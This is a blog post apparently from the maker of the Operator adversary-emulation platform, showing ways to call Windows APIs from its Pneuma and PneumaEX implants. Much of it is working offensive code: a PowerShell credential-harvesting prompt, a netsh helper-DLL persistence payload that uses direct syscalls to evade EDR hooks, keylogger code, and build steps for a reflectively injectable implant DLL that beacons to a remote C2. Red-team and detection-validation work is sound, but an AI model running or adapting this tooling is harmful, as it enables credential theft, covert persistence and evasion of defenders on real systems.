See Sharp (and more) in Operator
One of the most common questions about Operator I receive is:
How do I access Windows APIs in C# (or C++) instead of using shell commands?
Red and Purple teamers need to be able to craft more complicated TTPs and continually modify tradecraft to avoid detection by the blue team. Blue teamers need an easy way to validate detections given a plethora of attack vectors. Inside Operator, we provide a slew of ways to address both sides of that problem set.
Interfacing with the target Operating System
There are many reasons to access Windows APIs, whether it be for defense evasion purposes or validating detections and EDR hooks on those APIs. Operator offers several ways that you can interface with them:
Using existing Pneuma executors
Using Payloads attached to commands
Using plugins for PneumaEX
Adding built-in functionality to Pneuma or PneumaEX
Writing your own agent
I’m focusing Windows operating systems for this article, but the same principles apply to *nix platforms. We will dive into each of these areas then finish up with a quick discussion on some of the current limitations and my plans to address them.
1. Using existing Pneuma executors
This is by far the most straight-forward way to interact with the Windows API, albeit through a method that most people consider not OPSEC safe. The default Pneuma agent is able to execute Powershell commands/scripts, command shell, and python scripts. An example of calling Win32 APIs via Pinvoke can be found in this community TTP that I put together using examples from pinvoke.net. This TTP will prompt a user to enter their credentials then we can dump the results in plaintext to the console:
$type=@" | |
using System; | |
using System.Text; | |
using System.Runtime.InteropServices; | |
public static class CredUI | |
{ | |
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] | |
private struct CREDUI_INFO | |
{ | |
public int cbSize; | |
public IntPtr hwndParent; | |
public string pszMessageText; | |
public string pszCaptionText; | |
public IntPtr hbmBanner; | |
} | |
[DllImport("credui.dll", CharSet = CharSet.Auto)] | |
private static extern bool CredUnPackAuthenticationBuffer(int dwFlags, IntPtr pAuthBuffer, uint cbAuthBuffer, StringBuilder pszUserName, ref int pcchMaxUserName, StringBuilder pszDomainName, ref int pcchMaxDomainame, StringBuilder pszPassword, ref int pcchMaxPassword); | |
[DllImport("credui.dll", CharSet = CharSet.Auto)] | |
private static extern int CredUIPromptForWindowsCredentials(ref CREDUI_INFO notUsedHere, int authError, ref uint authPackage, IntPtr InAuthBuffer, uint InAuthBufferSize, out IntPtr refOutAuthBuffer, out uint refOutAuthBufferSize, ref bool fSave, int flags); | |
public static void Prompt() { | |
CREDUI_INFO credui = new CREDUI_INFO(); | |
credui.pszCaptionText = "Reauthenticate user"; | |
credui.pszMessageText = "This will allow us to grab your credentials in plaintext"; | |
credui.cbSize = Marshal.SizeOf(credui); | |
uint authPackage = 0; | |
IntPtr outCredBuffer = new IntPtr(); | |
uint outCredSize; | |
bool save = false; | |
int result = CredUIPromptForWindowsCredentials(ref credui, 0,ref authPackage,IntPtr.Zero, 0, out outCredBuffer, out outCredSize, ref save, 1 /* Generic */); | |
var usernameBuf = new StringBuilder(100); | |
var passwordBuf = new StringBuilder(100); | |
var domainBuf = new StringBuilder(100); | |
int maxUserName = 100; | |
int maxDomain = 100; | |
int maxPassword = 100; | |
if (result == 0) | |
{ | |
if (CredUnPackAuthenticationBuffer(0, outCredBuffer, outCredSize, usernameBuf, ref maxUserName, domainBuf, ref maxDomain, passwordBuf, ref maxPassword)) | |
{ | |
Console.WriteLine("Username: {0}", usernameBuf.ToString()); | |
Console.WriteLine("Password: {0}", passwordBuf.ToString()); | |
Console.WriteLine("Domain: {0}", domainBuf.ToString()); | |
return; | |
} | |
} | |
} | |
} | |
"@ | |
Add-Type -TypeDefinition $type; | |
[CredUI]::Prompt(); |
I've added a new TTP in the TTP editor and filled out some details, so now the script is available for use:
I have a test Pneuma agent running on a Windows system, so I can rapidly deploy and test my TTP. Clicking on SELECT TARGET brings up a deployment modal where I can select the range and which agent to deploy that TTP against - in this case, it's my test Pneuma agent.
Once I click deploy, the agent collects and executes the TTP, calling CredUIPromptForWindowsCredentials to prompt for a username and password.
Assuming we had put effort in making this look legitimate and added a step to validate the credentials (or drop into an infinite loop of prompting for credentials), when the user finally enters valid credentials, we would receive the results of CredUnPackAuthenticationBuffer back in our C2 server.
2. Using Payloads attached to commands
As previously mentioned, using PowerShell to dynamically load in Win32 libraries via Add-Type
isn't exactly an OPSEC safe way to operate. PowerShell has its place during operations, but most blue teams will immediately notice strange PowerShell scripts being executed, particularly larger ones like the above. Red Team tradecraft has largely moved away from PowerShell for that reason.
A non-PowerShell method in Operator we can use to hit Win32 APIs is via TTP payloads. Let's take a look at this Netsh helper dll persistence
TTP in our Professional License repo. This TTP attaches a helper DLL to NetSh that will make system()
call for whatever value is stored in the HKLM\SOFTWARE\Prelude\Operator key with the name bin_path
(so bin_path with a string C:\\Windows\\System32\\cmd.exe
for example). The DLL itself uses the SysWhispers project to make a direct Syscall to NtCreateThreadEx in order to evade/bypass user-mode API hooks used by EDR products on calls like CreateRemoteThreadEx. The persistence triggers any time NetSh is run:
#include <locale> | |
#include <cstdlib> | |
#include <stdio.h> | |
#include <string> | |
#include <Windows.h> | |
#include "Syscalls.h" | |
LONG GetStringRegKey(HKEY, const std::wstring&, std::wstring&, const std::wstring&); | |
DWORD WINAPI RunBin(LPVOID lpParameter) { | |
setlocale(LC_CTYPE, ""); | |
HKEY hKey; | |
LONG lRes = RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Prelude\\Operator", 0, KEY_READ, &hKey); | |
bool bExistsAndSuccess(lRes == ERROR_SUCCESS); | |
bool bDoesNotExistsSpecifically(lRes == ERROR_FILE_NOT_FOUND); | |
std::wstring strValueOfBinPath; | |
GetStringRegKey(hKey, L"bin_path", strValueOfBinPath, L"bad"); | |
if (strValueOfBinPath == L"bad") { | |
return 1; | |
} | |
const std::string s(strValueOfBinPath.begin(), strValueOfBinPath.end()); | |
system(s.c_str()); | |
return 0; | |
} | |
LONG GetStringRegKey(HKEY hKey, const std::wstring& strValueName, std::wstring& strValue, const std::wstring& strDefaultValue) | |
{ | |
strValue = strDefaultValue; | |
WCHAR szBuffer[512]; | |
DWORD dwBufferSize = sizeof(szBuffer); | |
ULONG nError; | |
nError = RegQueryValueExW(hKey, strValueName.c_str(), 0, NULL, (LPBYTE)szBuffer, &dwBufferSize); | |
if (ERROR_SUCCESS == nError) | |
{ | |
strValue = szBuffer; | |
} | |
return nError; | |
} | |
extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved) { | |
HANDLE hThread = NULL; | |
HANDLE hProcess = GetCurrentProcess(); | |
LPVOID lpParams = nullptr; | |
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, RunBin, lpParams, FALSE, 0, 0, 0, nullptr); | |
return NO_ERROR; | |
} |
We build this DLL and stage the payload either inside Operator or on a remote system, then add the payload to the command:
platforms: | |
windows: | |
exec: | |
command: 'netsh.exe add helper #{agent.location}\..\netShHelperDll.dll' | |
payload: '#{operator.payloads}/persistence/netsh/netShHelperDll.dll' | |
cmd: | |
command: 'netsh.exe add helper #{agent.location}\..\netShHelperDll.dll' | |
payload: '#{operator.payloads}/persistence/netsh/netShHelperDll.dll' |
Notice we have two different executors specified: exec
and cmd
. cmd
will actually invoke the Windows Command Prompt and execute the command through that shell. exec
is specific to PneumaEX and it does not invoke the system shell and instead makes a call more similar to a C-language "exec" call on netsh.exe
after resolving it's full path. PneumaEX will automatically retrieve the payload (the #{operator.payloads}
is a variable that gets "rendered" at runtime automatically specifying where your payloads are staged) and then adds the payload as a helper DLL to netsh. The #{agent.location}
variable is the path to the current agent (if it's running on disk) so we can use the ..\
to resolve our current directory to have the absolute path to the payload.
3. Using plugins for PneumaEX
Now you're probably thinking "okay, but you're STILL using shell and leaving command artifacts" - this is true, but that is the reason for more advanced implants/agents in the operator ecosystem. I did a fairly extensive write-up of PneumaEX's modular plugin system here and have since added GRPC support for modules and started prototyping in-memory only module handling. Since the plugin system is designed using RPC/GRPC, we have the option of writing plugins in any language - from Golang to Python to C#.
PneumaEX comes with several modules written in Golang that call Win32 APIs to accomplish things like background keylogging, dumping LSASS memory, and capturing clipboard contents for exfiltration. It's fairly straightforward to load in DLLs and access their exported functions for use:
var ( | |
user32 = syscall.NewLazyDLL("user32.dll") | |
getAsyncKeyState = user32.NewProc("GetAsyncKeyState") | |
getKeyboardLayout = user32.NewProc("GetKeyboardLayout") | |
getKeyState = user32.NewProc("GetKeyState") | |
toUnicodeEx = user32.NewProc("ToUnicodeEx") | |
) |
The TTPs for these modules also leverage the Payload field, allowing PneumaEX to dynamically install a module and call the functions available in the module via RPC or GRPC:
platforms: | |
windows: | |
keyword: | |
command: module.collect.keyLogger | |
payload: "#{operator.payloads}/pneumaEX/collect/collect-windows.exe" |
The Keyword executor is internally defined capability inside of Pneuma and PneumaEX and it allows us to treat the agent in a more traditional way. In this instance, there is an internally defined mechanism that will handle the keyword module
and know to exec
the collect-windows payload then run a task by sending a message over RPC or GRPC. The module loading and execution uses that keyword inside PneumaEX like this:
if executor == "keyword" { | |
task := splitMessage(message, '.') | |
if task[0] == "module" { | |
var err error | |
if !contains(util.InstalledModuleKeywords, task[1] + "." + task[2]) { | |
err = util.InstallModule(task[1], payloadPath) | |
} | |
if err != nil { | |
return err.Error(), 1, -1 | |
} | |
if len(task) >= 4 { | |
return util.RunModuleTask(task[1], task[2], util.ParseArguments(task[3])) | |
} | |
return util.RunModuleTask(task[1], task[2], []string{}) | |
} else if task[0] == "config" { | |
return updateConfiguration(task[1], agent) | |
} | |
return "Keyword selected not available for agent", 0, 0 | |
} |
This demos how you could add built-in functionality directly to Pneuma or PneumaEX by designing our own keyword.
4. Adding built-in functionality to Pneuma or PneumaEX
Let's actually pull on that thread for a minute. Perhaps you're thinking "payloads are bad m'kay, I want an agent that has a bunch of predefined built-in capability like most implants." How would a traditional implant interface with Operator? What would that look like? First thing we would do is pick any keyword not already being used, in this case, I'll use api
because we are talking about Win32 APIs.
First I will write an ability and define my new keyword in the Editor pane. I want this POC to use Win32 APIs to get the process list:
So my command structure will be api.<something>
where that <something>
is an internally defined task for the Pneuma agent to execute. Then I will update Pneuma to handle that keyword:
if executor == "keyword" { | |
task := splitMessage(message, '.') | |
if task[0] == "api" { | |
return CallNativeAPI(task[1]) | |
} else if task[0] == "config" { | |
return updateConfiguration(task[1], agent) | |
} | |
return "Keyword selected not available for agent", 0, 0 | |
} |
Lastly, I need to add code to actually execute that task, but only for Windows versions of Pneuma. We can do that by adding two new files, a commands_other.go
and a commands_windows.go
. The "other" file is basically just going to catch any attempts to use the api.ps
command on a non-Windows platform, so that would look like this:
//+build !windows | |
package commands | |
func CallNativeAPI(task string) (string, int, int) { | |
return "Not implemented for non-Windows platforms", 1, -1 | |
} |
Now we can implement the ps
task in the commands_windows.go
file:
package commands | |
import ( | |
"encoding/json" | |
"log" | |
"os" | |
"syscall" | |
"unsafe" | |
) | |
func CallNativeAPI(task string) (string, int, int) { | |
switch task { | |
case "ps": | |
log.Print("Running Task") | |
return getProcesses() | |
} | |
return "not implemented", 1, os.Getpid() | |
} | |
type WindowsProcess struct { | |
ProcessID int | |
ParentProcessID int | |
ExeFile string | |
} | |
func getProcesses() (string, int, int) { | |
procs, _ := getProcessWindowsProcesses() | |
data, err := json.Marshal(procs) | |
if err != nil { | |
log.Print("Failed") | |
return "Failed serializing processes", 1, os.Getpid() | |
} | |
return string(data), 0, os.Getpid() | |
} | |
func getProcessWindowsProcesses() ([]WindowsProcess, error) { | |
snapshot, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0) | |
if err != nil { | |
return nil, err | |
} | |
defer syscall.CloseHandle(snapshot) | |
var procEntry syscall.ProcessEntry32 | |
procEntry.Size = uint32(unsafe.Sizeof(procEntry)) | |
if err = syscall.Process32First(snapshot, &procEntry); err != nil { | |
return nil, err | |
} | |
processes := make([]WindowsProcess, 0, 100) | |
for { | |
processes = append(processes, newWindowsProcess(&procEntry)) | |
if err = syscall.Process32Next(snapshot, &procEntry); err != nil { | |
if err == syscall.ERROR_NO_MORE_FILES { | |
break | |
} | |
} | |
} | |
return processes, nil | |
} | |
func newWindowsProcess(e *syscall.ProcessEntry32) WindowsProcess { | |
end := getProcessNameLength(e) | |
return WindowsProcess{ | |
ProcessID: int(e.ProcessID), | |
ParentProcessID: int(e.ParentProcessID), | |
ExeFile: syscall.UTF16ToString(e.ExeFile[:end]), | |
} | |
} | |
func getProcessNameLength(e *syscall.ProcessEntry32) int { | |
size := 0 | |
for _, char := range e.ExeFile { | |
if char == 0 { | |
break | |
} | |
size++ | |
} | |
return size | |
} |
Finally we use the provided build.sh
script to recompile our new pneuma agent and run the command to test that it's working as expected:
And we can see, we have implemented a completely payload-less capability that is packaged with the Pneuma agent during it's deployment, similar to the majority of public implant designs (Meterpreter, Sliver, etc).
A quick note on this - the reason we don't pre-package in capability is that inherently makes the agent contain more objectively malicious code. We don't want to burn hours and hours designing a full-featured implant, then have to play the cat-and-mouse game with EDR/Anti-Virus to continually pack, modify, and update the agent because we were signatured. Our philosophy is very much "add capability as you need it, otherwise keep it simple."
5. Writing your own agent
And finally we come to the final way that you implement calls to Win32 APIs; bring your own implant! Implementing your own implant begins with reviewing the beaconing structure on the Pneuma GitHub repo README and making sure you can accept the inbound beacon structure in your agent.
Once you have that JSON structure in memory, you can use any of the above methods to call the Win32 APIs to achieve your objectives. We've had a community member contribute an agent and we provide a few agents for free:
Pneuma (Cross platform - GO)
ThirdEye (built-in Node agent for testing, Cross platform - JS)
Nicodemus (Cross platform - Nim) - Community Contributor (VVX7)
On the paid side, we also provide:
PneumaEX (Cross platform - GO)
Schism (Cross platform - Python)
We also have a few agents in the works with more specific targets in mind:
Hush (Android - Kotlin)
7empest (Cross platform/Embedded systems - C++)
Ultimately designing your own implant can extend Operator to just about any use case you might need to cover.
Limitations of the current ecosystem
While there is clearly flexibility in the Operator ecosystem, there are limitations in the existing implants and tasking mechanism that I want to address:
1. In-memory agent/payload/shellcode execution
This is definitely the largest gap in the Operator product line when it comes to offensive tradecraft. Neither Pneuma, PneumaEX, nor Schism offer a method to execute Windows assemblies in memory (ala execute-assembly), load and run shellcode in remote or local processes with permissions management, or many of the other more advanced defense evasion techniques.
These are absolutely on our TO-DO list, but as with other components of our ecosystem, we want to make sure that the capability we develop is modular and flexible. Again, we don't want to sink hours in an implant only for it to be signatured as a giant bloated piece of malware. Here are a few tips/thoughts to power up your in-memory attacks:
Agent Tips:
We can actually use some GO trickery to make pneuma
compile into a DLL that can be reflectively injected into a remote process. First we update the main.go
file to include an exported function and add a build note to compile with CGO:
//+build cgo | |
package main | |
import "C" | |
import ( | |
"flag" | |
"github.com/preludeorg/pneuma/sockets" | |
"github.com/preludeorg/pneuma/util" | |
"log" | |
"os" | |
"runtime" | |
"strings" | |
) | |
var key = "JWHQZM9Z4HQOYICDHW4OCJAXPPNHBA" | |
func buildBeacon(name string, group string) sockets.Beacon { | |
pwd, _ := os.Getwd() | |
executable, _ := os.Executable() | |
return sockets.Beacon{ | |
Name: name, | |
Range: group, | |
Pwd: pwd, | |
Location: executable, | |
Platform: runtime.GOOS, | |
Executors: util.DetermineExecutors(runtime.GOOS, runtime.GOARCH), | |
Links: make([]sockets.Instruction, 0), | |
} | |
} | |
func main() { | |
agent := util.BuildAgentConfig() | |
name := flag.String("name", agent.Name, "Give this agent a name") | |
contact := flag.String("contact", agent.Contact, "Which contact to use") | |
address := flag.String("address", agent.Address, "The ip:port of the socket listening post") | |
group := flag.String("range", agent.Range, "Which range to associate to") | |
sleep := flag.Int("sleep", agent.Sleep, "Number of seconds to sleep between beacons") | |
useragent := flag.String("useragent", agent.Useragent, "User agent used when connecting") | |
flag.Parse() | |
agent.SetAgentConfig(map[string]interface{}{ | |
"Name": *name, | |
"Contact": *contact, | |
"Address": *address, | |
"Range": *group, | |
"Useragent": *useragent, | |
"Sleep": *sleep, | |
}) | |
sockets.UA = agent.Useragent | |
if !strings.Contains(agent.Address, ":") { | |
log.Println("Your address is incorrect") | |
os.Exit(1) | |
} | |
util.EncryptionKey = &agent.AESKey | |
log.Printf("[%s] agent at PID %d using key %s", agent.Address, os.Getpid(), key) | |
sockets.CommunicationChannels[agent.Contact].Communicate(agent, buildBeacon(agent.Name, agent.Range)) | |
} | |
//export VoidFunc | |
func VoidFunc() { | |
agent := util.BuildAgentConfig() | |
agent.SetAgentConfig(map[string]interface{}{ | |
"Contact": "remote-ip:2323", | |
"Address": "tcp", | |
}) | |
sockets.UA = agent.Useragent | |
if !strings.Contains(agent.Address, ":") { | |
log.Println("Your address is incorrect") | |
os.Exit(1) | |
} | |
util.EncryptionKey = &agent.AESKey | |
log.Printf("[%s] agent at PID %d using key %s", agent.Address, os.Getpid(), key) | |
sockets.CommunicationChannels[agent.Contact].Communicate(agent, buildBeacon(agent.Name, agent.Range)) | |
} |
Now that we have an exported function and imported C for CGO compatibility, we build Pneuma with the following command. Bear in mind, I'm using a Mac so I've installed mingw32-gcc to cross compile for windows. This command will actually build the executable as a DLL with 64-bit address ASLR and NX compatibility on:
GOOS=windows CC=x86_64-w64-mingw32-gcc CGO_ENABLED=1 go build --buildmode=c-shared --ldflags='-s -w -X main.key="MYKEYISBESTKEY" -extldflags "-Wl,--nxcompat -Wl,--dynamicbase -Wl,--high-entropy-va"' -o payloads/pneuma.dll main.go; |
You can now use it as a standard DLL with VoidFunc
exposed, which gives us flexibility to inject Pneuma into a local or remote process using something like Invoke-ReflectivePEInjection
or, even better, a custom stage-0 loader that loads Pneuma and injects it into memory.
Payload/Shellcode Execution:
I actually wrote shellcode loaders for the Sandcat implant for Caldera, but I didn't like how rigid and structured the format was - it also was not intuitive. If you need to run either local or remote shellcode, there are several shellcode runners written in GO that could easily drop into Pneuma using a special Keyword like "shellcode". I also haven't written the logic to store payloads in RWX memory, so you'd need a way to load the payload directly into memory.
2. Initial access/implant staging
We are currently not stepping into the pre-exploitation and exploitation world with Operator as we have too many post-exploitation capabilities we need to implement. That being said, using the above packaging method for Pneuma can help change up the way you stage and run your implant.
If you have need of a specific loader or want help with initial access, hit me up on Discord and I'll see if I can help you out!
Parting thoughts
Hopefully this has provided you with some ideas on how to expand Operator for use in your environment. If you have additional questions or want to chat at length, ping me on Discord or Twitter!